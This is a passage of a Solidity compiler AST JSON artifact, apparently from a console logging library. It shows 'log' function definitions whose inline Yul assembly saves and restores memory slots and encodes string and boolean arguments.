pure"}},"id":45058,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"346526:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45059,"nodeType":"ExpressionStatement","src":"346526:28:22"},{"AST":{"nativeSrc":"346573:273:22","nodeType":"YulBlock","src":"346573:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"346594:4:22","nodeType":"YulLiteral","src":"346594:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"346600:2:22","nodeType":"YulIdentifier","src":"346600:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346587:6:22","nodeType":"YulIdentifier","src":"346587:6:22"},"nativeSrc":"346587:16:22","nodeType":"YulFunctionCall","src":"346587:16:22"},"nativeSrc":"346587:16:22","nodeType":"YulExpressionStatement","src":"346587:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346623:4:22","nodeType":"YulLiteral","src":"346623:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"346629:2:22","nodeType":"YulIdentifier","src":"346629:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346616:6:22","nodeType":"YulIdentifier","src":"346616:6:22"},"nativeSrc":"346616:16:22","nodeType":"YulFunctionCall","src":"346616:16:22"},"nativeSrc":"346616:16:22","nodeType":"YulExpressionStatement","src":"346616:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346652:4:22","nodeType":"YulLiteral","src":"346652:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"346658:2:22","nodeType":"YulIdentifier","src":"346658:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346645:6:22","nodeType":"YulIdentifier","src":"346645:6:22"},"nativeSrc":"346645:16:22","nodeType":"YulFunctionCall","src":"346645:16:22"},"nativeSrc":"346645:16:22","nodeType":"YulExpressionStatement","src":"346645:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346681:4:22","nodeType":"YulLiteral","src":"346681:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"346687:2:22","nodeType":"YulIdentifier","src":"346687:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346674:6:22","nodeType":"YulIdentifier","src":"346674:6:22"},"nativeSrc":"346674:16:22","nodeType":"YulFunctionCall","src":"346674:16:22"},"nativeSrc":"346674:16:22","nodeType":"YulExpressionStatement","src":"346674:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346710:4:22","nodeType":"YulLiteral","src":"346710:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"346716:2:22","nodeType":"YulIdentifier","src":"346716:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346703:6:22","nodeType":"YulIdentifier","src":"346703:6:22"},"nativeSrc":"346703:16:22","nodeType":"YulFunctionCall","src":"346703:16:22"},"nativeSrc":"346703:16:22","nodeType":"YulExpressionStatement","src":"346703:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346739:4:22","nodeType":"YulLiteral","src":"346739:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"346745:2:22","nodeType":"YulIdentifier","src":"346745:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346732:6:22","nodeType":"YulIdentifier","src":"346732:6:22"},"nativeSrc":"346732:16:22","nodeType":"YulFunctionCall","src":"346732:16:22"},"nativeSrc":"346732:16:22","nodeType":"YulExpressionStatement","src":"346732:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346768:4:22","nodeType":"YulLiteral","src":"346768:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"346774:2:22","nodeType":"YulIdentifier","src":"346774:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346761:6:22","nodeType":"YulIdentifier","src":"346761:6:22"},"nativeSrc":"346761:16:22","nodeType":"YulFunctionCall","src":"346761:16:22"},"nativeSrc":"346761:16:22","nodeType":"YulExpressionStatement","src":"346761:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346797:4:22","nodeType":"YulLiteral","src":"346797:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"346803:2:22","nodeType":"YulIdentifier","src":"346803:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346790:6:22","nodeType":"YulIdentifier","src":"346790:6:22"},"nativeSrc":"346790:16:22","nodeType":"YulFunctionCall","src":"346790:16:22"},"nativeSrc":"346790:16:22","nodeType":"YulExpressionStatement","src":"346790:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"346826:5:22","nodeType":"YulLiteral","src":"346826:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"346833:2:22","nodeType":"YulIdentifier","src":"346833:2:22"}],"functionName":{"name":"mstore","nativeSrc":"346819:6:22","nodeType":"YulIdentifier","src":"346819:6:22"},"nativeSrc":"346819:17:22","nodeType":"YulFunctionCall","src":"346819:17:22"},"nativeSrc":"346819:17:22","nodeType":"YulExpressionStatement","src":"346819:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45028,"isOffset":false,"isSlot":false,"src":"346600:2:22","valueSize":1},{"declaration":45031,"isOffset":false,"isSlot":false,"src":"346629:2:22","valueSize":1},{"declaration":45034,"isOffset":false,"isSlot":false,"src":"346658:2:22","valueSize":1},{"declaration":45037,"isOffset":false,"isSlot":false,"src":"346687:2:22","valueSize":1},{"declaration":45040,"isOffset":false,"isSlot":false,"src":"346716:2:22","valueSize":1},{"declaration":45043,"isOffset":false,"isSlot":false,"src":"346745:2:22","valueSize":1},{"declaration":45046,"isOffset":false,"isSlot":false,"src":"346774:2:22","valueSize":1},{"declaration":45049,"isOffset":false,"isSlot":false,"src":"346803:2:22","valueSize":1},{"declaration":45052,"isOffset":false,"isSlot":false,"src":"346833:2:22","valueSize":1}],"id":45060,"nodeType":"InlineAssembly","src":"346564:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"345331:3:22","parameters":{"id":45025,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45018,"mutability":"mutable","name":"p0","nameLocation":"345343:2:22","nodeType":"VariableDeclaration","scope":45062,"src":"345335:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45017,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345335:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45020,"mutability":"mutable","name":"p1","nameLocation":"345352:2:22","nodeType":"VariableDeclaration","scope":45062,"src":"345347:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45019,"name":"bool","nodeType":"ElementaryTypeName","src":"345347:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45022,"mutability":"mutable","name":"p2","nameLocation":"345364:2:22","nodeType":"VariableDeclaration","scope":45062,"src":"345356:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45021,"name":"bytes32","nodeType":"ElementaryTypeName","src":"345356:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45024,"mutability":"mutable","name":"p3","nameLocation":"345376:2:22","nodeType":"VariableDeclaration","scope":45062,"src":"345368:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45023,"name":"uint256","nodeType":"ElementaryTypeName","src":"345368:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"345334:45:22"},"returnParameters":{"id":45026,"nodeType":"ParameterList","parameters":[],"src":"345394:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45114,"nodeType":"FunctionDefinition","src":"346858:1732:22","nodes":[],"body":{"id":45113,"nodeType":"Block","src":"346930:1660:22","nodes":[],"statements":[{"assignments":[45074],"declarations":[{"constant":false,"id":45074,"mutability":"mutable","name":"m0","nameLocation":"346948:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"346940:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45073,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346940:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45075,"nodeType":"VariableDeclarationStatement","src":"346940:10:22"},{"assignments":[45077],"declarations":[{"constant":false,"id":45077,"mutability":"mutable","name":"m1","nameLocation":"346968:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"346960:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45076,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346960:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45078,"nodeType":"VariableDeclarationStatement","src":"346960:10:22"},{"assignments":[45080],"declarations":[{"constant":false,"id":45080,"mutability":"mutable","name":"m2","nameLocation":"346988:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"346980:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45079,"name":"bytes32","nodeType":"ElementaryTypeName","src":"346980:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45081,"nodeType":"VariableDeclarationStatement","src":"346980:10:22"},{"assignments":[45083],"declarations":[{"constant":false,"id":45083,"mutability":"mutable","name":"m3","nameLocation":"347008:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347000:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45082,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347000:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45084,"nodeType":"VariableDeclarationStatement","src":"347000:10:22"},{"assignments":[45086],"declarations":[{"constant":false,"id":45086,"mutability":"mutable","name":"m4","nameLocation":"347028:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347020:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45085,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347020:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45087,"nodeType":"VariableDeclarationStatement","src":"347020:10:22"},{"assignments":[45089],"declarations":[{"constant":false,"id":45089,"mutability":"mutable","name":"m5","nameLocation":"347048:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45088,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347040:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45090,"nodeType":"VariableDeclarationStatement","src":"347040:10:22"},{"assignments":[45092],"declarations":[{"constant":false,"id":45092,"mutability":"mutable","name":"m6","nameLocation":"347068:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347060:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45091,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347060:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45093,"nodeType":"VariableDeclarationStatement","src":"347060:10:22"},{"assignments":[45095],"declarations":[{"constant":false,"id":45095,"mutability":"mutable","name":"m7","nameLocation":"347088:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45094,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45096,"nodeType":"VariableDeclarationStatement","src":"347080:10:22"},{"assignments":[45098],"declarations":[{"constant":false,"id":45098,"mutability":"mutable","name":"m8","nameLocation":"347108:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347100:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45097,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347100:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45099,"nodeType":"VariableDeclarationStatement","src":"347100:10:22"},{"assignments":[45101],"declarations":[{"constant":false,"id":45101,"mutability":"mutable","name":"m9","nameLocation":"347128:2:22","nodeType":"VariableDeclaration","scope":45113,"src":"347120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45100,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347120:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45102,"nodeType":"VariableDeclarationStatement","src":"347120:10:22"},{"assignments":[45104],"declarations":[{"constant":false,"id":45104,"mutability":"mutable","name":"m10","nameLocation":"347148:3:22","nodeType":"VariableDeclaration","scope":45113,"src":"347140:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45103,"name":"bytes32","nodeType":"ElementaryTypeName","src":"347140:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45105,"nodeType":"VariableDeclarationStatement","src":"347140:11:22"},{"AST":{"nativeSrc":"347170:1024:22","nodeType":"YulBlock","src":"347170:1024:22","statements":[{"body":{"nativeSrc":"347213:313:22","nodeType":"YulBlock","src":"347213:313:22","statements":[{"nativeSrc":"347231:15:22","nodeType":"YulVariableDeclaration","src":"347231:15:22","value":{"kind":"number","nativeSrc":"347245:1:22","nodeType":"YulLiteral","src":"347245:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"347235:6:22","nodeType":"YulTypedName","src":"347235:6:22","type":""}]},{"body":{"nativeSrc":"347316:40:22","nodeType":"YulBlock","src":"347316:40:22","statements":[{"body":{"nativeSrc":"347345:9:22","nodeType":"YulBlock","src":"347345:9:22","statements":[{"nativeSrc":"347347:5:22","nodeType":"YulBreak","src":"347347:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"347333:6:22","nodeType":"YulIdentifier","src":"347333:6:22"},{"name":"w","nativeSrc":"347341:1:22","nodeType":"YulIdentifier","src":"347341:1:22"}],"functionName":{"name":"byte","nativeSrc":"347328:4:22","nodeType":"YulIdentifier","src":"347328:4:22"},"nativeSrc":"347328:15:22","nodeType":"YulFunctionCall","src":"347328:15:22"}],"functionName":{"name":"iszero","nativeSrc":"347321:6:22","nodeType":"YulIdentifier","src":"347321:6:22"},"nativeSrc":"347321:23:22","nodeType":"YulFunctionCall","src":"347321:23:22"},"nativeSrc":"347318:36:22","nodeType":"YulIf","src":"347318:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"347273:6:22","nodeType":"YulIdentifier","src":"347273:6:22"},{"kind":"number","nativeSrc":"347281:4:22","nodeType":"YulLiteral","src":"347281:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"347270:2:22","nodeType":"YulIdentifier","src":"347270:2:22"},"nativeSrc":"347270:16:22","nodeType":"YulFunctionCall","src":"347270:16:22"},"nativeSrc":"347263:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"347287:28:22","nodeType":"YulBlock","src":"347287:28:22","statements":[{"nativeSrc":"347289:24:22","nodeType":"YulAssignment","src":"347289:24:22","value":{"arguments":[{"name":"length","nativeSrc":"347303:6:22","nodeType":"YulIdentifier","src":"347303:6:22"},{"kind":"number","nativeSrc":"347311:1:22","nodeType":"YulLiteral","src":"347311:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"347299:3:22","nodeType":"YulIdentifier","src":"347299:3:22"},"nativeSrc":"347299:14:22","nodeType":"YulFunctionCall","src":"347299:14:22"},"variableNames":[{"name":"length","nativeSrc":"347289:6:22","nodeType":"YulIdentifier","src":"347289:6:22"}]}]},"pre":{"nativeSrc":"347267:2:22","nodeType":"YulBlock","src":"347267:2:22","statements":[]},"src":"347263:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"347380:3:22","nodeType":"YulIdentifier","src":"347380:3:22"},{"name":"length","nativeSrc":"347385:6:22","nodeType":"YulIdentifier","src":"347385:6:22"}],"functionName":{"name":"mstore","nativeSrc":"347373:6:22","nodeType":"YulIdentifier","src":"347373:6:22"},"nativeSrc":"347373:19:22","nodeType":"YulFunctionCall","src":"347373:19:22"},"nativeSrc":"347373:19:22","nodeType":"YulExpressionStatement","src":"347373:19:22"},{"nativeSrc":"347409:37:22","nodeType":"YulVariableDeclaration","src":"347409:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"347426:3:22","nodeType":"YulLiteral","src":"347426:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"347435:1:22","nodeType":"YulLiteral","src":"347435:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"347438:6:22","nodeType":"YulIdentifier","src":"347438:6:22"}],"functionName":{"name":"shl","nativeSrc":"347431:3:22","nodeType":"YulIdentifier","src":"347431:3:22"},"nativeSrc":"347431:14:22","nodeType":"YulFunctionCall","src":"347431:14:22"}],"functionName":{"name":"sub","nativeSrc":"347422:3:22","nodeType":"YulIdentifier","src":"347422:3:22"},"nativeSrc":"347422:24:22","nodeType":"YulFunctionCall","src":"347422:24:22"},"variables":[{"name":"shift","nativeSrc":"347413:5:22","nodeType":"YulTypedName","src":"347413:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"347474:3:22","nodeType":"YulIdentifier","src":"347474:3:22"},{"kind":"number","nativeSrc":"347479:4:22","nodeType":"YulLiteral","src":"347479:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"347470:3:22","nodeType":"YulIdentifier","src":"347470:3:22"},"nativeSrc":"347470:14:22","nodeType":"YulFunctionCall","src":"347470:14:22"},{"arguments":[{"name":"shift","nativeSrc":"347490:5:22","nodeType":"YulIdentifier","src":"347490:5:22"},{"arguments":[{"name":"shift","nativeSrc":"347501:5:22","nodeType":"YulIdentifier","src":"347501:5:22"},{"name":"w","nativeSrc":"347508:1:22","nodeType":"YulIdentifier","src":"347508:1:22"}],"functionName":{"name":"shr","nativeSrc":"347497:3:22","nodeType":"YulIdentifier","src":"347497:3:22"},"nativeSrc":"347497:13:22","nodeType":"YulFunctionCall","src":"347497:13:22"}],"functionName":{"name":"shl","nativeSrc":"347486:3:22","nodeType":"YulIdentifier","src":"347486:3:22"},"nativeSrc":"347486:25:22","nodeType":"YulFunctionCall","src":"347486:25:22"}],"functionName":{"name":"mstore","nativeSrc":"347463:6:22","nodeType":"YulIdentifier","src":"347463:6:22"},"nativeSrc":"347463:49:22","nodeType":"YulFunctionCall","src":"347463:49:22"},"nativeSrc":"347463:49:22","nodeType":"YulExpressionStatement","src":"347463:49:22"}]},"name":"writeString","nativeSrc":"347184:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"347205:3:22","nodeType":"YulTypedName","src":"347205:3:22","type":""},{"name":"w","nativeSrc":"347210:1:22","nodeType":"YulTypedName","src":"347210:1:22","type":""}],"src":"347184:342:22"},{"nativeSrc":"347539:17:22","nodeType":"YulAssignment","src":"347539:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347551:4:22","nodeType":"YulLiteral","src":"347551:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"347545:5:22","nodeType":"YulIdentifier","src":"347545:5:22"},"nativeSrc":"347545:11:22","nodeType":"YulFunctionCall","src":"347545:11:22"},"variableNames":[{"name":"m0","nativeSrc":"347539:2:22","nodeType":"YulIdentifier","src":"347539:2:22"}]},{"nativeSrc":"347569:17:22","nodeType":"YulAssignment","src":"347569:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347581:4:22","nodeType":"YulLiteral","src":"347581:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"347575:5:22","nodeType":"YulIdentifier","src":"347575:5:22"},"nativeSrc":"347575:11:22","nodeType":"YulFunctionCall","src":"347575:11:22"},"variableNames":[{"name":"m1","nativeSrc":"347569:2:22","nodeType":"YulIdentifier","src":"347569:2:22"}]},{"nativeSrc":"347599:17:22","nodeType":"YulAssignment","src":"347599:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347611:4:22","nodeType":"YulLiteral","src":"347611:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"347605:5:22","nodeType":"YulIdentifier","src":"347605:5:22"},"nativeSrc":"347605:11:22","nodeType":"YulFunctionCall","src":"347605:11:22"},"variableNames":[{"name":"m2","nativeSrc":"347599:2:22","nodeType":"YulIdentifier","src":"347599:2:22"}]},{"nativeSrc":"347629:17:22","nodeType":"YulAssignment","src":"347629:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347641:4:22","nodeType":"YulLiteral","src":"347641:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"347635:5:22","nodeType":"YulIdentifier","src":"347635:5:22"},"nativeSrc":"347635:11:22","nodeType":"YulFunctionCall","src":"347635:11:22"},"variableNames":[{"name":"m3","nativeSrc":"347629:2:22","nodeType":"YulIdentifier","src":"347629:2:22"}]},{"nativeSrc":"347659:17:22","nodeType":"YulAssignment","src":"347659:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347671:4:22","nodeType":"YulLiteral","src":"347671:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"347665:5:22","nodeType":"YulIdentifier","src":"347665:5:22"},"nativeSrc":"347665:11:22","nodeType":"YulFunctionCall","src":"347665:11:22"},"variableNames":[{"name":"m4","nativeSrc":"347659:2:22","nodeType":"YulIdentifier","src":"347659:2:22"}]},{"nativeSrc":"347689:17:22","nodeType":"YulAssignment","src":"347689:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347701:4:22","nodeType":"YulLiteral","src":"347701:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"347695:5:22","nodeType":"YulIdentifier","src":"347695:5:22"},"nativeSrc":"347695:11:22","nodeType":"YulFunctionCall","src":"347695:11:22"},"variableNames":[{"name":"m5","nativeSrc":"347689:2:22","nodeType":"YulIdentifier","src":"347689:2:22"}]},{"nativeSrc":"347719:17:22","nodeType":"YulAssignment","src":"347719:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347731:4:22","nodeType":"YulLiteral","src":"347731:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"347725:5:22","nodeType":"YulIdentifier","src":"347725:5:22"},"nativeSrc":"347725:11:22","nodeType":"YulFunctionCall","src":"347725:11:22"},"variableNames":[{"name":"m6","nativeSrc":"347719:2:22","nodeType":"YulIdentifier","src":"347719:2:22"}]},{"nativeSrc":"347749:17:22","nodeType":"YulAssignment","src":"347749:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"347761:4:22","nodeType":"YulLiteral","src":"347761:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"347755:5:22","nodeType":"YulIdentifier","src":"347755:5:22"},"nativeSrc":"347755:11:22","nodeType":"YulFunctionCall","src":"347755:11:22"},"variableNames":[{"name":"m7","nativeSrc":"347749:2:22","nodeType":"YulIdentifier","src":"347749:2:22"}]},{"nativeSrc":"347779:18:22","nodeType":"YulAssignment","src":"347779:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"347791:5:22","nodeType":"YulLiteral","src":"347791:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"347785:5:22","nodeType":"YulIdentifier","src":"347785:5:22"},"nativeSrc":"347785:12:22","nodeType":"YulFunctionCall","src":"347785:12:22"},"variableNames":[{"name":"m8","nativeSrc":"347779:2:22","nodeType":"YulIdentifier","src":"347779:2:22"}]},{"nativeSrc":"347810:18:22","nodeType":"YulAssignment","src":"347810:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"347822:5:22","nodeType":"YulLiteral","src":"347822:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"347816:5:22","nodeType":"YulIdentifier","src":"347816:5:22"},"nativeSrc":"347816:12:22","nodeType":"YulFunctionCall","src":"347816:12:22"},"variableNames":[{"name":"m9","nativeSrc":"347810:2:22","nodeType":"YulIdentifier","src":"347810:2:22"}]},{"nativeSrc":"347841:19:22","nodeType":"YulAssignment","src":"347841:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"347854:5:22","nodeType":"YulLiteral","src":"347854:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"347848:5:22","nodeType":"YulIdentifier","src":"347848:5:22"},"nativeSrc":"347848:12:22","nodeType":"YulFunctionCall","src":"347848:12:22"},"variableNames":[{"name":"m10","nativeSrc":"347841:3:22","nodeType":"YulIdentifier","src":"347841:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"347941:4:22","nodeType":"YulLiteral","src":"347941:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"347947:10:22","nodeType":"YulLiteral","src":"347947:10:22","type":"","value":"0xa826caeb"}],"functionName":{"name":"mstore","nativeSrc":"347934:6:22","nodeType":"YulIdentifier","src":"347934:6:22"},"nativeSrc":"347934:24:22","nodeType":"YulFunctionCall","src":"347934:24:22"},"nativeSrc":"347934:24:22","nodeType":"YulExpressionStatement","src":"347934:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"347978:4:22","nodeType":"YulLiteral","src":"347978:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"347984:4:22","nodeType":"YulLiteral","src":"347984:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"347971:6:22","nodeType":"YulIdentifier","src":"347971:6:22"},"nativeSrc":"347971:18:22","nodeType":"YulFunctionCall","src":"347971:18:22"},"nativeSrc":"347971:18:22","nodeType":"YulExpressionStatement","src":"347971:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348009:4:22","nodeType":"YulLiteral","src":"348009:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"348015:2:22","nodeType":"YulIdentifier","src":"348015:2:22"}],"functionName":{"name":"mstore","nativeSrc":"348002:6:22","nodeType":"YulIdentifier","src":"348002:6:22"},"nativeSrc":"348002:16:22","nodeType":"YulFunctionCall","src":"348002:16:22"},"nativeSrc":"348002:16:22","nodeType":"YulExpressionStatement","src":"348002:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348038:4:22","nodeType":"YulLiteral","src":"348038:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"348044:4:22","nodeType":"YulLiteral","src":"348044:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"348031:6:22","nodeType":"YulIdentifier","src":"348031:6:22"},"nativeSrc":"348031:18:22","nodeType":"YulFunctionCall","src":"348031:18:22"},"nativeSrc":"348031:18:22","nodeType":"YulExpressionStatement","src":"348031:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348069:4:22","nodeType":"YulLiteral","src":"348069:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"348075:5:22","nodeType":"YulLiteral","src":"348075:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"348062:6:22","nodeType":"YulIdentifier","src":"348062:6:22"},"nativeSrc":"348062:19:22","nodeType":"YulFunctionCall","src":"348062:19:22"},"nativeSrc":"348062:19:22","nodeType":"YulExpressionStatement","src":"348062:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348106:4:22","nodeType":"YulLiteral","src":"348106:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"348112:2:22","nodeType":"YulIdentifier","src":"348112:2:22"}],"functionName":{"name":"writeString","nativeSrc":"348094:11:22","nodeType":"YulIdentifier","src":"348094:11:22"},"nativeSrc":"348094:21:22","nodeType":"YulFunctionCall","src":"348094:21:22"},"nativeSrc":"348094:21:22","nodeType":"YulExpressionStatement","src":"348094:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348140:4:22","nodeType":"YulLiteral","src":"348140:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"348146:2:22","nodeType":"YulIdentifier","src":"348146:2:22"}],"functionName":{"name":"writeString","nativeSrc":"348128:11:22","nodeType":"YulIdentifier","src":"348128:11:22"},"nativeSrc":"348128:21:22","nodeType":"YulFunctionCall","src":"348128:21:22"},"nativeSrc":"348128:21:22","nodeType":"YulExpressionStatement","src":"348128:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"348174:5:22","nodeType":"YulLiteral","src":"348174:5:22","type":"","value":"0x120"},{"name":"p3","nativeSrc":"348181:2:22","nodeType":"YulIdentifier","src":"348181:2:22"}],"functionName":{"name":"writeString","nativeS